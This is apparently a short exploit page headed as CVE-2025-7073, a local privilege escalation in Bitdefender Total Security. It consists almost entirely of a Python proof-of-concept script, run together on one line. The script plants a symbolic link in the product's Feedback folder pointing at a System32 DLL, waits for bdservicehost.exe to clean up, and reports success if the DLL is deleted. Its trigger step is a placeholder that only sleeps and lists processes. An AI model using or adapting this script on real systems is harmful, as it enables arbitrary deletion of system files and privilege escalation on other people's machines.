CVE-2025-7073 Bitdefender Total Security 本地权限提升漏洞

import os import subprocess import time # CVE-2025-7073 PoC - Symbolic Link Attack on Bitdefender bdservicehost.exe # Target: Delete arbitrary files via bdservicehost.exe symbolic link traversal TARGET_DIR = r'C:\ProgramData\Atc\Feedback' MALICIOUS_LINK = os.path.join(TARGET_DIR, 'malicious_link') TARGET_FILE = r'C:\Windows\System32\critical_file.dll' def create_symlink(target, link_name): """Create a symbolic link to target file""" try: if os.path.exists(link_name): os.remove(link_name) os.symlink(TARGET_FILE, link_name) print(f'[+] Symbolic link created: {link_name} -> {TARGET_FILE}') return True except Exception as e: print(f'[-] Failed to create symlink: {e}') return False def trigger_bdservicehost_cleanup(): """Trigger bdservicehost.exe to cleanup the Feedback directory""" # Network event trigger to initiate file operations # This will cause bdservicehost to process files in the Feedback directory print('[*] Waiting for bdservicehost.exe cleanup operation...') time.sleep(5) # Monitor bdservicehost activity result = subprocess.run( ['tasklist'], capture_output=True, text=True ) if 'bdservicehost.exe' in result.stdout: print('[+] bdservicehost.exe is running') return True def main(): print('=' * 60) print('CVE-2025-7073 Bitdefender Local Privilege Escalation PoC') print('=' * 60) # Step 1: Create symbolic link in user-writable directory if not os.path.exists(TARGET_DIR): print(f'[-] Target directory does not exist: {TARGET_DIR}') return False if create_symlink(TARGET_FILE, MALICIOUS_LINK): # Step 2: Trigger cleanup operation trigger_bdservicehost_cleanup() # Step 3: Verify file deletion time.sleep(2) if not os.path.exists(TARGET_FILE): print(f'[+] Target file deleted: {TARGET_FILE}') print('[+] Privilege escalation via symbolic link attack successful') return True else: print(f'[-] Target file still exists, attack may have failed') return False if __name__ == '__main__': main()